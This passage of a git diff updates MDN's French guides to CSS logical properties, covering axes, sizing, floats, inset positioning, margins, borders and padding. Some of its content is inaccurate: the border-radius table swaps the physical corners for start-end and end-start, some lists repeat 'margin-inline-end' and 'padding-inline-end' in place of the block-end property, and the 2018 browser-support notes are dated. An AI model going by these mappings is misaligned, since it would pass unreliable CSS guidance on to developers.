La dimension en ligne (inline) correspond à l'axe selon lequel les lignes de texte sont écrites pour ce mode d'écriture. Ainsi, pour un document français, le texte sera écrit horizontalement de gauche à droite et pour un document arabe écrit de droite à gauche, la dimension en ligne est l'axe horizontal. Si on utilise un mode d'écriture vertical (le japonais par exempl), la dimension en ligne sera verticale car les lignes de texte de ce mode sont écrites verticalement.

+ +

La dimension de bloc correspond à l'axe orthogonal et généralement à la direction selon laquelle les blocs de texte (les paragraphes) sont agencés. En français ou en arabe, cet axe est vertical, pour les modes d'écritures écrits verticalement, cet axe est horizontal.

+ +

Le diagramme ci-après illustre l'organisation des axes en ligne et des axes de bloc pour un mode d'écriture horizontal :

+ +

diagram showing the inline axis running horizontally, block axis vertically.

+ +

Le diagramme suivant illustre l'axe en ligne et l'axe de bloc pour un mode d'écriture vertical :

+ +

Diagram showing the block axis running horizontally the inline axis vertically.

+ +

Prise en charge des navigateurs

+ +

Les propriétés et valeurs logiques peuvent être catégorisées selon différents groupes, notamment pour la compatibilité des navigateurs. Certaines des propriétés logiques sont essentiellement des correspondances de propriétés physiques équivalentes ({{CSSxRef("inline-size")}} sera la propriété logique pouvant correspondre à la propriété physique {{CSSxRef("width")}} et {{CSSxRef("margin-inline-start")}} la propriété physique correspondant à {{CSSxRef("margin-left")}}). La prise en charge de ces propriétés logiques correspondant à des propriétés physiques est plutôt correcte pour les navigateurs récents, vous pouvez consulter les pages de référence pour ces propriétés sur MDN, seul Edge ne prend pas en charge ces propriétés à date (décembre 2018).

+ +

On a également un groupe de propriétés qui ne possèdent pas de correspondances directes avec les propriétés physiques. Ces propriétés sont des propriétés raccourcies qui font référence aux deux extrêmités d'un axe. Ainsi {{CSSxRef("margin-block")}} sera une propriété raccourcie pour {{CSSxRef("margin-block-start")}} et {{CSSxRef("margin-block-end")}}. Ce deuxième groupe n'est actuellement pas pris en charge par les navigateurs.

+ +
+

Note : Le groupe de travail CSS est actuellement en réflexion pour les propriétés raccourcies avec quatre valeurs pour les propriétés logiques. Autrement dit, comment définir les marges logiques de la façon dont on utilise la propriété {{CSSxRef("margin")}}. Il faudrait en effet une sorte de modificateur si on continue d'utiliser le nom margin pour les propriétés relatives au flux. Pour en savoir plus sur les suggestions et commentaires, vous pouvez consulter l'issue GitHub n°1282.

+
+ +

Tester la compatibilité des navigateurs

+ +

Il est possible de tester la prise en charge des propriétés et valeurs logiques en utilisant une requête de fonctionnalité (@supports). Ainsi, on pourrait définit une propriété {{CSSxRef("width")}}, tester si {{CSSxRef("inline-size")}} est prise en charge et, le cas échéant, définir width avec auto et inline-size avec la valeur initialement utilisée pour width.

+ +

{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_logical_properties/concepts_de_base/index.html b/files/fr/web/css/css_logical_properties/concepts_de_base/index.html deleted file mode 100644 index 4129c926c7..0000000000 --- a/files/fr/web/css/css_logical_properties/concepts_de_base/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Concepts de base des propriétés et valeurs logiques -slug: Web/CSS/CSS_Logical_Properties/Concepts_de_base -tags: - - CSS - - Guide - - Propriété logique -translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts ---- -
{{CSSRef}}
- -

La spécification relative aux propriétés et valeurs logiques introduit une correspondance relative au flux pour de nombreuses propriétés et valeurs CSS. Dans cet article, nous verrons une introduction de cette spécification et expliquerons les propriétés et valeurs relatives au flux.

- -

Quel intérêt pour les propriétés logiques ?

- -

Historiquement, CSS permettait de dimensionner des objets selon les dimensions physiques de l'écran. On pouvait alors décrire des boîtes avec une certaine largeur ({{CSSxRef("width")}}) et une certaine hauteur ({{CSSxRef("height")}}), positionner les éléments à partir du haut (top) et de la gauche (left), faire flotter les objets, créer des bordures, des marges, du remplissage (padding) en haut, à droite, en bas et à gauche (resp. top, right, bottom, left, etc.). La spécification sur les propriétés et valeurs logiques définit des correspondances entres ces valeurs physiques et des valeurs logiques, relatives au flux : start et end plutôt que left et right ou top et bottom.

- -

Prenons un exemple pour comprendre la nécessité de telles propriétés et valeurs logiques. On dispose d'une grille CSS et le conteneur de la grille possède une certaine largeur. On y utilise {{CSSxRef("align-self")}} et {{CSSxRef("justify-self")}} afin d'aligner les éléments à l'intérieur de la grille. Ces propriétés sont relatives au flux : justify-self: start aligne l'élément au début de l'axe en ligne et align-self: start aligne l'élément au début de l'axe de bloc.

- -

A grid in a horizontal writing mode

- -

Si on change le mode d'écriture de ce composant grâce à la propriété {{CSSxRef("writing-mode")}} et avec la valeur vertical-rl, l'alignement continue de fonctionner de la même façon : l'axe en ligne est désormais l'axe vertical et l'axe de bloc court horizontalement. La grille n'a cependant pas la même allure car la largeur est nécessairement définie pour l'axe horizontal : de façon physique et pas relativement au flux de texte.

- -

A grid in vertical writing mode.

- -

Si on avait utilisé la propriété logique {{CSSxRef("inline-size")}} plutôt que width, le composant aurait gardé les mêmes proportions, quel que soit le mode d'écriture utilisé.

- -

A grid layout in vertical writing mode

- -

Vous pouvez essayer ces différentes valeurs dans l'exemple qui suit et notamment modifier la propriété writing-mode pour la passer de vertical-rl à horizontal-tb sur le sélecteur .box afin d'observer la façon dont les différentes propriétés modifient la disposition.

- -

{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}

- -

Lorsqu'on travaille sur un site où on utilise un mode d'écriture qui n'est pas horizontal et progressant du haut vers le bas ou qu'on travaille sur un concept créatif, pouvoir utiliser des concepts relatifs au flux plutôt que des valeurs géométriques absolues.

- -

Axe de bloc et axe en ligne

- -

Lorsqu'on travaille avec les propriétés et les valeurs logiques, il y a deux concepts majeurs : l'axe de bloc et l'axe en ligne qui sont les deux dimensions de l'espace. Comme nous l'avons vu avant, les nouvelles méthodes de disposition CSS (comme les boîtes flexibles et les grilles CSS) utilisent les concepts de block et inline plutôt que right et left/top et bottom pour l'alignement des objets.

- -

La dimension en ligne (inline) correspond à l'axe selon lequel les lignes de texte sont écrites pour ce mode d'écriture. Ainsi, pour un document français, le texte sera écrit horizontalement de gauche à droite et pour un document arabe écrit de droite à gauche, la dimension en ligne est l'axe horizontal. Si on utilise un mode d'écriture vertical (le japonais par exempl), la dimension en ligne sera verticale car les lignes de texte de ce mode sont écrites verticalement.

- -

La dimension de bloc correspond à l'axe orthogonal et généralement à la direction selon laquelle les blocs de texte (les paragraphes) sont agencés. En français ou en arabe, cet axe est vertical, pour les modes d'écritures écrits verticalement, cet axe est horizontal.

- -

Le diagramme ci-après illustre l'organisation des axes en ligne et des axes de bloc pour un mode d'écriture horizontal :

- -

diagram showing the inline axis running horizontally, block axis vertically.

- -

Le diagramme suivant illustre l'axe en ligne et l'axe de bloc pour un mode d'écriture vertical :

- -

Diagram showing the block axis running horizontally the inline axis vertically.

- -

Prise en charge des navigateurs

- -

Les propriétés et valeurs logiques peuvent être catégorisées selon différents groupes, notamment pour la compatibilité des navigateurs. Certaines des propriétés logiques sont essentiellement des correspondances de propriétés physiques équivalentes ({{CSSxRef("inline-size")}} sera la propriété logique pouvant correspondre à la propriété physique {{CSSxRef("width")}} et {{CSSxRef("margin-inline-start")}} la propriété physique correspondant à {{CSSxRef("margin-left")}}). La prise en charge de ces propriétés logiques correspondant à des propriétés physiques est plutôt correcte pour les navigateurs récents, vous pouvez consulter les pages de référence pour ces propriétés sur MDN, seul Edge ne prend pas en charge ces propriétés à date (décembre 2018).

- -

On a également un groupe de propriétés qui ne possèdent pas de correspondances directes avec les propriétés physiques. Ces propriétés sont des propriétés raccourcies qui font référence aux deux extrêmités d'un axe. Ainsi {{CSSxRef("margin-block")}} sera une propriété raccourcie pour {{CSSxRef("margin-block-start")}} et {{CSSxRef("margin-block-end")}}. Ce deuxième groupe n'est actuellement pas pris en charge par les navigateurs.

- -
-

Note : Le groupe de travail CSS est actuellement en réflexion pour les propriétés raccourcies avec quatre valeurs pour les propriétés logiques. Autrement dit, comment définir les marges logiques de la façon dont on utilise la propriété {{CSSxRef("margin")}}. Il faudrait en effet une sorte de modificateur si on continue d'utiliser le nom margin pour les propriétés relatives au flux. Pour en savoir plus sur les suggestions et commentaires, vous pouvez consulter l'issue GitHub n°1282.

-
- -

Tester la compatibilité des navigateurs

- -

Il est possible de tester la prise en charge des propriétés et valeurs logiques en utilisant une requête de fonctionnalité (@supports). Ainsi, on pourrait définit une propriété {{CSSxRef("width")}}, tester si {{CSSxRef("inline-size")}} est prise en charge et, le cas échéant, définir width avec auto et inline-size avec la valeur initialement utilisée pour width.

- -

{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_logical_properties/dimensionnement/index.html b/files/fr/web/css/css_logical_properties/dimensionnement/index.html deleted file mode 100644 index f6ffe024e6..0000000000 --- a/files/fr/web/css/css_logical_properties/dimensionnement/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Propriétés logiques pour le dimensionnement -slug: Web/CSS/CSS_Logical_Properties/Dimensionnement -tags: - - CSS - - Guide - - Propriété logique -translation_of: Web/CSS/CSS_Logical_Properties/Sizing ---- -
{{CSSRef}}
- -

Dans ce guide, nous verrons les correspondances entre les propriétés physiques et les propriétés logiques qui peuvent être utilisées afin de dimensionner des éléments au sein d'un document.

- -

Lorsqu'on définit la taille d'un objet, la spécification sur les propriétés et les valeurs logiques permet de définir le dimensionnement en fonction du flux du texte (le mode d'écriture et son orientation) plutôt que relativement aux dimensions physiques du support (haut / bas / gauche / droite). Bien que ce premier fonctionnement, utilisant des propriétés et des valeurs logiques, puisse devenir la méthode par défaut à l'avenir, on peut tout à fait avoir besoin d'utiliser des propriétés et des valeurs physiques en combinaison avec ces propriétés et ces valeurs logiques.

- -

Correspondances pour les dimensions

- -

Le tableau qui suit fournit les correspondances entre les propriétés logiques et les propriétés physiques lorsqu'on utilise un mode d'écriture horizontal progressant de haut en bas (horizontal-tb) comme c'est le cas avec le français ou l'arabe. Dans ce cas, la propriété physique {{CSSxRef("width")}} serait équivalente à la propriété logique {{CSSxRef("inline-size")}}.

- -

Si on utilisait un mode d'écriture vertical, {{CSSxRef("inline-size")}} aurait correspondu à {{CSSxRef("height")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Propriété logiquePropriété physique
{{CSSxRef("inline-size")}}{{CSSxRef("width")}}
{{CSSxRef("block-size")}}{{CSSxRef("height")}}
{{CSSxRef("min-inline-size")}}{{CSSxRef("min-width")}}
{{CSSxRef("min-block-size")}}{{CSSxRef("min-height")}}
{{CSSxRef("max-inline-size")}}{{CSSxRef("max-width")}}
{{CSSxRef("max-block-size")}}{{CSSxRef("max-height")}}
- -

Exemple pour width et height

- -

Les propriétés logiques correspondant à {{CSSxRef("width")}} et {{CSSxRef("height")}} sont : {{CSSxRef("inline-size")}} pour la taille sur la dimension en ligne et {{CSSxRef("block-size")}}, pour la taille selon la dimension de bloc. Si on travaille sur un document en français, on pourra remplacer width par inline-size et height par block-size et on obtiendra le même résultat.

- -

Dans l'exemple interactif suivant, le mode d'écriture est explicitement définit avec horizontal-tb. En modifiant cette valeur pour la passer à vertical-rl, on verra que le premier exemple, qui utilise width et height, conserve le même dimensionnement, même si le texte s'affiche verticalement. Pour le second exemple qui utilise inline-size et block-size, on voit que le texte et le dimensionnement suivent l'orientation du flux et que le bloc est ainsi tourné dans son intégralité.

- -

{{EmbedGHLiveSample("css-examples/logical/size-inline-block.html", '100%', 500)}}

- -

Exemple pour min-width et min-height

- -

Il existe également des propriétés logiques correspondantes pour {{CSSxRef("min-width")}} et {{CSSxRef("min-height")}} : {{CSSxRef("min-inline-size")}} et {{CSSxRef("min-block-size")}}. Celles-ci fonctionnent de la même façon que inline-size et block-size mais paramètrent une taille minimale plutôt qu'une taille fixe.

- -

Dans l'exemple suivant, vous pouvez passer le mode d'écriture en vertical-rl et observer l'effet obtenu. Là encore, on utilise la propriété physique (min-height) sur le premier exemple et la propriété logique (min-block-size) sur le second.

- -

{{EmbedGHLiveSample("css-examples/logical/size-min.html", "100%", 500)}}

- -

Exemple pour max-width et max-height

- -

Enfin, on peut utiliser {{CSSxRef("max-inline-size")}} et {{CSSxRef("max-block-size")}} afin de remplacer les propriétés physiques {{CSSxRef("max-width")}} et {{CSSxRef("max-height")}}. Là encore, vous pouvez modifier l'exemple qui suit pour observer les conséquences de ce changement.

- -

{{EmbedGHLiveSample("css-examples/logical/size-max.html", "100%", 500)}}

- -

Mots-clés logiques pour resize

- -

La propriété {{CSSxRef("resize")}} définit si un objet peut être redimensionné. Cette propriété s'utilise avec les valeurs physiques horizontal et vertical. La propriété resize peut désormais s'utiliser également avec des valeurs logiques : resize: inline permettra de redimensionner un objet sur l'axe en ligne et resize: block permettra de le redimensionner sur l'axe en bloc.

- -

La valeur both peut être utilisée dans un contexte physique ou dans un contexte logique : elle permet le redimensionnement sur les deux axes. Vous pouvez manipuler cette propriété et ces valeurs dans l'exemple interactif suivant.

- -

{{EmbedGHLiveSample("css-examples/logical/size-resize.html", "100%", 700)}}

- -
-

Attention ! À l'heure actuelle (décembre 2018), seul Firefox prend en charge les valeurs logiques pour resize.

-
diff --git a/files/fr/web/css/css_logical_properties/floating_and_positioning/index.html b/files/fr/web/css/css_logical_properties/floating_and_positioning/index.html new file mode 100644 index 0000000000..3a99d5bbad --- /dev/null +++ b/files/fr/web/css/css_logical_properties/floating_and_positioning/index.html @@ -0,0 +1,143 @@ +--- +title: Propriétés logiques pour les flottements et le positionnement +slug: Web/CSS/CSS_Logical_Properties/Propriétés_logiques_flottements_positionnement +tags: + - CSS + - Guide + - Propriété logique +translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning +--- +
{{CSSRef}}
+ +

La spécification sur les propriétés et valeurs logiques définit des valeurs logiques qui correspondent aux valeurs physiques utilisées pour {{cssxref("float")}} et {{cssxref("clear")}}. Elle définit aussi des propriétés logiques pour le positionnement lorsqu'on utilise une disposition positionnée. Dans ce guide, nous verrons comment utiliser ces valeurs et ces propriétés logiques.

+ +

Correspondance entre les propriétés et les valeurs

+ +

Le tableau ci-après définit les propriétés et les valeurs que nous verrons dans ce guide et la correspondance avec les propriétés et valeurs physiques si on utilisait un mode d'écriture horizontal allant de gauche à droite.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Propriété ou valeur logiquePropriété ou valeur physique
{{cssxref("float")}}: inline-start{{cssxref("float")}}: left
{{cssxref("float")}}: inline-end{{cssxref("float")}}: right
{{cssxref("clear")}}: inline-start{{cssxref("clear")}}: left
{{cssxref("clear")}}: inline-end{{cssxref("clear")}}: right
{{cssxref("inset-inline-start")}}{{cssxref("left")}}
{{cssxref("inset-inline-end")}}{{cssxref("right")}}
{{cssxref("inset-block-start")}}{{cssxref("top")}}
{{cssxref("inset-block-end")}}{{cssxref("bottom")}}
{{cssxref("text-align")}}: start{{cssxref("text-align")}}: left
{{cssxref("text-align")}}: end{{cssxref("text-align")}}: right
+ +

En plus de ces correspondances, certaines propriétés logiques raccourcies ont été ajoutées. Pour celles-ci, qui ciblent les extrêmités des axes en ligne ou de bloc, il n'y a pas de correspondance avec des propriétés physiques existantes à l'exception de {{cssxref("inset")}}.

+ + + + + + + + + + + + + + + + + + + + + + +
Propriété logiqueObjectif
{{cssxref("inset-inline")}}Cette propriété définit simultanément les décalages pour les deux côtés situés sur l'axe en ligne.
{{cssxref("inset-block")}}Cette propriété définit simultanément les décalages pour les deux côtés situés sur l'axe de bloc.
{{cssxref("inset")}}Cette propriété définit les valeurs des quatre décalages.
+ +

Exemple d'un flottement et d'un dégagement

+ +

Les valeurs physiques utilisées avec les propriétés {{cssxref("float")}} et {{cssxref("clear")}} sont left, right et both. Les valeurs logiques définies par la spécification sont inline-start et inline-end et qui peuvent correspondre à left et right selon le mode d'écriture.

+ +

Dans l'exemple ci-après, on a deux boîtes : la première flotte avec float: left et la deuxième avec float: inline-start. Si on modifie la propriété writing-mode pour la passer en vertical-rl ou si on modifie direction en rtl, on pourra voir que la première boîte flotte toujours à gauche tandis que la boîte ciblée avec inline-start suit la direction et le mode d'écriture.

+ +

{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}

+ +

Exemple des propriétés inset pour les dispositions positionnées

+ +

Le positionnement permet généralement de position un élément de façon relative à son bloc englobant. La plupart du temps, on décale l'objet relativement à la position qu'il aurait occupé sur le flux normal. Par le passé, on utilisait les propriétés physiques {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} et {{cssxref("left")}}.

+ +

Ces propriétés s'utilisent avec une longueur ou avec une pourcentage relatif aux dimensions de l'écran de l'utilisateur.

+ +

De nouvelles propriétés ont été définies dans la spécifications des propriétés logiques et permettent de positionner un élément relativement au flux du texte, quel que soit le mode d'écriture. Ces propriétés logiques sont :

+ +
    +
  • {{cssxref("inset-block-start")}}
    • +
  • {{cssxref("inset-block-end")}}
    • +
  • {{cssxref("inset-inline-start")}}
    • +
  • {{cssxref("inset-inline-end")}}.
    • +
+ +

Dans l'exemple qui suit, on utilise les propriétés inset-block-start et inset-inline-end afin de positionner la boîte bleue de façon absolue dans la zone définie par la bordure grise pointillée et qui a position: relative. En modifiant la propriété writing-mode afin d'utiliser la valeur vertical-rl ou en ajoutant direction: rtl, on pourra voir comment la boîte relative reste dans la direction du texte.

+ +

{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}

+ +

Nouvelles propriétés raccourcies

+ +

Cette spécification définit également de nouvelles propriétés logiques qui permettent de définir deux voire quatre valeurs avec une seule déclaration. Pour ces propriétés raccourcies, il n'existe pas d'équivalence avec des propriétés physiques.

+ +
    +
  • {{cssxref("inset")}} — elle permet de définir les quatre décalages avec une correspondance physique.
    • +
  • {{cssxref("inset-inline")}} — elle permet de définir les décalages sur l'axe en ligne
    • +
  • {{cssxref("inset-block")}} — elle permet de définir les décalage sur l'axe de bloc
    • +
+ +
+

Note : Les navigateurs n'ont, pour l'instant, pas implémenté ces nouvelles propriétés (décembre 2018). Pour plus d'informations sur la compatibilité des navigateurs, vous pouvez vous référer aux tableaux de compatibilité présents à la fin des pages de référence pour ces propriétés.

+
+ +

Exemple de valeurs logiques pour text-align

+ +

La propriété {{cssxref("text-align")}} peut s'utiliser avec quatre valeurs logiques qui sont relatives à la direction du texte. Plutôt que d'utiliser left et right, on pourra utiliser start et end. Dans l'exemple suivant, on définit text-align: right pour le premier bloc et text-align: end pour le second.

+ +

Si on modifie la valeur de direction pour la passer à rtl, on verra que le premier bloc restera aligné à droite tandis que le texte du second s'alignera sur la fin logique.

+ +

{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}

+ +

Le comportement d'ensemble est plus cohérent lorsqu'on utilise des alignements de boîtes logiques (start et end) plutôt que des alignements basés sur les directions physiques.

diff --git a/files/fr/web/css/css_logical_properties/margins_borders_padding/index.html b/files/fr/web/css/css_logical_properties/margins_borders_padding/index.html new file mode 100644 index 0000000000..8b4da0bce6 --- /dev/null +++ b/files/fr/web/css/css_logical_properties/margins_borders_padding/index.html @@ -0,0 +1,297 @@ +--- +title: 'Propriétés logiques pour les marges, les bordures et les remplissages' +slug: >- + Web/CSS/CSS_Logical_Properties/Propriétés_logiques_marges_bordures_remplissages +tags: + - CSS + - Guide + - Propriété logique +translation_of: Web/CSS/CSS_Logical_Properties/Margins_borders_padding +--- +

{{CSSRef}}

+ +

La spécification sur les propriétés et valeurs logiques définit des correspondances pour les propriétés servant à définir les marges, les bordures et les remplissages (padding) et les propriétés raccourcies associées. Dans ce guide, nous verrons comment utiliser ces propriétés logiques.

+ +

Si vous avez consulté la page principale sur les propriétés et valeurs logiques, vous avez pu voir une grande quantité de propriétés. Cela est principalement du au fait que pour chaque marge, bordure et remplissage, il y a quatre propriétés détaillées et une propriété raccourcie.

+ +

Correspondances pour les marges, les bordures et les remplissages (padding)

+ +

La spécification détaille les correspondances entre les valeurs logiques et les valeurs physiques. Dans le tableau qui suit,on liste les correspondances lorsque le mode d'écriture utilisé est horizontal-tb et où la direction du texte va de gauche à droite. L'axe en ligne est donc horizontal, dirigé de gauche à droite et {{cssxref("margin-inline-start")}} est équivalent à {{cssxref("margin-left")}}.

+ +

Si on avait utilisé un mode d'écriture horizontal-tb orienté de droite à gauche, {{cssxref("margin-inline-start")}} aurait correspondu à {{cssxref("margin-right")}}. Pour un mode d'écriture vertical, elle aurait correspondu à {{cssxref("margin-top")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Propriété logiquePropriété physique
{{cssxref("border-block-end")}}{{cssxref("border-bottom")}}
{{cssxref("border-block-end-color")}}{{cssxref("border-bottom-color")}}
{{cssxref("border-block-end-style")}}{{cssxref("border-bottom-style")}}
{{cssxref("border-block-end-width")}}{{cssxref("border-bottom-width")}}
{{cssxref("border-block-start")}}{{cssxref("border-top")}}
{{cssxref("border-block-start-color")}}{{cssxref("border-top-color")}}
{{cssxref("border-block-start-style")}}{{cssxref("border-top-style")}}
{{cssxref("border-block-start-width")}}{{cssxref("border-top-width")}}
{{cssxref("border-inline-end")}}{{cssxref("border-right")}}
{{cssxref("border-inline-end-color")}}{{cssxref("border-right-color")}}
{{cssxref("border-inline-end-style")}}{{cssxref("border-right-style")}}
{{cssxref("border-inline-end-width")}}{{cssxref("border-right-width")}}
{{cssxref("border-inline-start")}}{{cssxref("border-left")}}
{{cssxref("border-inline-start-color")}}{{cssxref("border-left-color")}}
{{cssxref("border-inline-start-style")}}{{cssxref("border-left-style")}}
{{cssxref("border-inline-start-width")}}{{cssxref("border-left-width")}}
{{cssxref("border-start-start-radius")}}{{cssxref("border-top-left-radius")}}
{{cssxref("border-start-end-radius")}}{{cssxref("border-bottom-left-radius")}}
{{cssxref("border-end-start-radius")}}{{cssxref("border-top-right-radius")}}
{{cssxref("border-end-end-radius")}}{{cssxref("border-bottom-right-radius")}}
{{cssxref("margin-block-end")}}{{cssxref("margin-bottom")}}
{{cssxref("margin-block-start")}}{{cssxref("margin-top")}}
{{cssxref("margin-inline-end")}}{{cssxref("margin-right")}}
{{cssxref("margin-inline-start")}}{{cssxref("margin-left")}}
{{cssxref("padding-block-end")}}{{cssxref("padding-bottom")}}
{{cssxref("padding-block-start")}}{{cssxref("padding-top")}}
{{cssxref("padding-inline-end")}}{{cssxref("padding-right")}}
{{cssxref("padding-inline-start")}}{{cssxref("padding-left")}}
+ +

De nouvelles propriétés raccourcies sont également apparues et permettent de manipuler les deux extrêmités d'un même axe. Ces propriétés raccourcies n'ont pas de propriété physique équivalente.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéObjectif
{{cssxref("border-block")}}Définit {{cssxref("border-color")}}, {{cssxref("border-style")}} et {{cssxref("border-width")}} pour les deux bordures sur l'axe de bloc.
{{cssxref("border-block-color")}}Définit border-color pour les deux bordures sur l'axe de bloc.
{{cssxref("border-block-style")}}Définit border-style pour les deux bordures sur l'axe de bloc.
{{cssxref("border-block-width")}}Définit border-width pour les deux bordures sur l'axe de bloc.
{{cssxref("border-inline")}}Définit border-color, -style et -width pour les deux bordures sur l'axe en ligne.
{{cssxref("border-inline-color")}}Définit border-color pour les deux bordures sur l'axe en ligne.
{{cssxref("border-inline-style")}}Définit border-style pour les deux bordures sur l'axe en ligne.
{{cssxref("border-inline-width")}}Définit border-width pour les deux bordures sur l'axe en ligne.
{{cssxref("margin-block")}}Défnit les deux marges sur l'axe de bloc.
{{cssxref("margin-inline")}}Défnit les deux marges sur l'axe en ligne.
{{cssxref("padding-block")}}Définit le remplissage (padding) sur l'axe de bloc.
{{cssxref("padding-inline")}}Définit le remplissage (padding) sur l'axe en ligne.
+ +

Exemples de marges

+ +

Les quatre propriétés logiques {{cssxref("margin-inline-start")}}, {{cssxref("margin-inline-end")}}, {{cssxref("margin-block-start")}} et {{cssxref("margin-inline-end")}} peuvent être utilisées à la place des propriétés physiques habituelles afin de définir une marge.

+ +

Dans l'exemple qui suit, on a créé deux boîtes et définit une marge différente pour chaque côté. On a aussi ajouté un conteneur supplémentaire avec une bordure afin de mieux visualiser la bordure.

+ +

Une boîte utilise les propriétés physiques et la seconde les propriétés logiques. Vous pouvez modifier la valeur de la propriété {{cssxref("direction")}} (la changer en rtl par exemple) : la première boîte conservera les mêmes marges tandis que la seconde verra ses marges en ligne échangées.

+ +

Vous pouvez également modifier la propriété writing-mode pour la passer de horizontal-tb à vertical-rl. Là aussi, vous pourrez voir les marges rester les mêmes pour la première boîte et passer d'un côté à l'autre pour la seconde.

+ +

{{EmbedGHLiveSample("css-examples/logical/margin-longhands.html", '100%', 700)}}

+ +

Propriétés raccourcies pour les marges

+ +

Avec les propriétés logiques, on peut définir les deux côtés en ligne et les deux côtés en bloc à l'aide d'une propriété et on a donc de nouvelles propriétés raccourcies : {{cssxref("margin-inline")}} et {{cssxref("margin-block")}}. Ces deux propriétés s'utilisent avec deux valeurs : la première sera appliquée au côté du début pour l'axe et la deuxième au côté de fin. Si une seule valeur est utilisée, elle sera appliquée aux deux côtés.

+ +

Avec un mode d'écriture horizontal, cette déclaration CSS appliquerait une marge de 5 pixels sur le côté haut de la boîte et une marge de 10 pixels sur le bas de la boîte.

+ +
.box {
+  margin-block: 5px 10px;
+}
+ +
+

Note : Ces propriétés raccourcies, margin-inline et margin-block, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.

+
+ +

Exemples pour le remplissage

+ +

Pour le remplissage, ce sont les propriétés logiques {{cssxref("padding-inline-start")}}, {{cssxref("padding-inline-end")}}, {{cssxref("padding-block-start")}} et {{cssxref("padding-inline-end")}} qui ont été ajoutées et qui peuvent être utilisées en lieu et place de leur équivalent physique.

+ +

Dans l'exemple suivant, on dispose de deux boîtes, la première possède des remplissages définis avec des propriétés physiques et la seconde avec des propriétés logiques. En utilisant un mode d'écriture horizontal-tb, les deux boîtes auront la même apparence.

+ +

En modifiant la propriété direction avec la valeur rtl, les boîtes seront affichées de droite à gauche. Le remplissage de la première boîte restera à la même place et celui de la deuxième boîte changera de côté.

+ +

Vous pouvez aussi modifier la valeur de la propriété writing-mode pour la passer de horizontal-tb à vertical-rl. Là encore, rien ne change pour la première boîte mais pour la seconde, les remplissages se trouvent échangés.

+ +

{{EmbedGHLiveSample("css-examples/logical/padding-longhands.html", '100%', 700)}}

+ +

Propriétés raccourcies pour le remplissage

+ +

À l'instar des marges, deux propriétés raccourcies ont été ajoutées {{cssxref("padding-inline")}} et {{cssxref("padding-block")}}. Elles permettent, respectivement, de définir le remplissage pour les deux côtés sur l'axe en ligne et sur l'axe en bloc.

+ +

Avec un mode d'écriture horizontal, cette déclaration CSS appliquera un remplissage de 5px sur le haut de la boîte et un remplissage de 10 pixels en bas de la boîte :

+ +
.box {
+  padding-block: 5px 10px;
+}
+ +
+

Note : Ces propriétés raccourcies, padding-inline et padding-block, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.

+
+ +

Exemples pour les bordures

+ +

Les propriétés relatives aux bordures fournissent une grande quantité de propriétés tant logiques que physiques (pour la couleur, la largeur, le style, pour chaque côté, pour les propriétés raccourcies). De la même façon qu'on a des équivalences avec les propriétés physiques pour les marges et les remplissages, on a également des propriétés logiques pour les bordures.

+ +

L'exemple ci-après utilise certaines propriétés détaillées et propriétés raccourcies. Comme précédemment, vous pouvez modifier les valeurs des propriétés direction et writing-mode pour observer les impacts.

+ +

{{EmbedGHLiveSample("css-examples/logical/border-longhands.html", '100%', 700)}}

+ +

Propriétés raccourcies pour les bordures

+ +

Il y a des propriétés raccourcies avec deux valeurs pour paramétrer la largeur, le style et la couleur de la bordure pour les côtés sur l'axe en ligne ou pour les côtés sur l'axe de bloc. Le fragment de code qui suit, si on l'utilise avec un mode d'écriture horizontal, fournira une bordure verte de 2 pixels sur un trait plein en haut et en bas de la boîte et une bordure pointillée violette de 4 pixels sur les côtés gauche et droit.

+ +
.box {
+  border-block: 2px solid green;
+  border-inline-width: 4px;
+  border-inline-style: dotted;
+  border-inline-color: rebeccapurple;
+}
+ +
+

Note : Ces propriétés raccourcies, border-inline et border-block, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.

+
+ +

Propriétés pour les courbures des bordures relatives au flux

+ +

La spécification a également ajouté des propriétés relatives au flux pour les propriétés détaillées associées à {{cssxref("border-radius")}}. Ces propriétés n'ont pas encore (décembre 2018) été implémentées par les différents navigateurs. L'exemple qui suit, avec un mode d'écriture horizontal, fournira une bordure en haut à droite avec un rayon de courbure de 1em, une bordure en bas à droite sans rayon de courbure, une bordure en bas à gauche avec un rayon de courbure de 20 pixels et une bordure courbée avec un rayon de 40 pixels pour le coin supérieur gauche.

+ +
.box {
+  border-end-start-radius: 1em;
+  border-end-end-radius: 0;
+  border-start-end-radius: 20px;
+  border-start-start-radius: 40px;
+}
+ +

Utiliser les valeurs logiques avec les propriétés raccourcies classiques

+ +

La spécification définit une suggestion qui pourrait être utilisée afin de manipuler les propriétés raccourcies (margin par exemple) avec des valeurs logiques. Toutefois, le consensus n'a pas encore été atteint sur la résolution de ce point et est discuté au travers de cette issue.

+ +

